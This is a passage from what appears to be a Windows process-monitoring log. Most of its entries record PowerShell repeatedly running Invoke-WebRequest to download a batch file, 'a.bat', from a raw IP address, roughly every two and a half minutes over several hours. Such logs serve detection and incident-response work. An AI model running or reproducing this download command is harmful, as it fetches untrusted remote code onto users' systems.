-Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:47:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:49:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:52:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:54:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:57:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 08:59:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:02:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:04:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:07:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:09:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:12:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:14:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:17:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:20:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:22:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:25:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:27:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:30:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:32:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:35:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:37:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:40:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:42:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:45:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:47:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:50:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:52:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:55:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 09:57:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:00:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:02:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:05:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:07:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:10:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:12:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:15:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:17:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:20:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:22:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:25:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:27:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:30:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:32:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:35:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:37:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:40:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:42:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:45:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:47:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:50:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:52:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:55:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 10:57:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:00:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:02:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:05:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:07:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:10:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:12:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:15:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:18:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:20:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:23:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:25:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:28:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:30:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:33:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:35:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:38:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:40:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:43:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:45:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:48:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:50:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:53:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:55:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 11:58:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:00:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:03:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:05:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:08:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:10:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:13:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:15:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:18:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:20:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:23:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:25:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:28:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:30:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:33:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:35:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:38:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:40:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:43:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:45:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:48:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:50:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:53:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:55:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 12:58:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:00:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:05:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:08:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:10:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:13:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:16:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:18:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:21:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:23:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:26:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:28:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:31:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:36:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:38:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:41:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:43:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:46:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:48:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:51:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:56:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 13:58:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:01:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:03:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:06:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:08:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:11:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:13:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:16:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:18:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:21:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-18 14:23:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 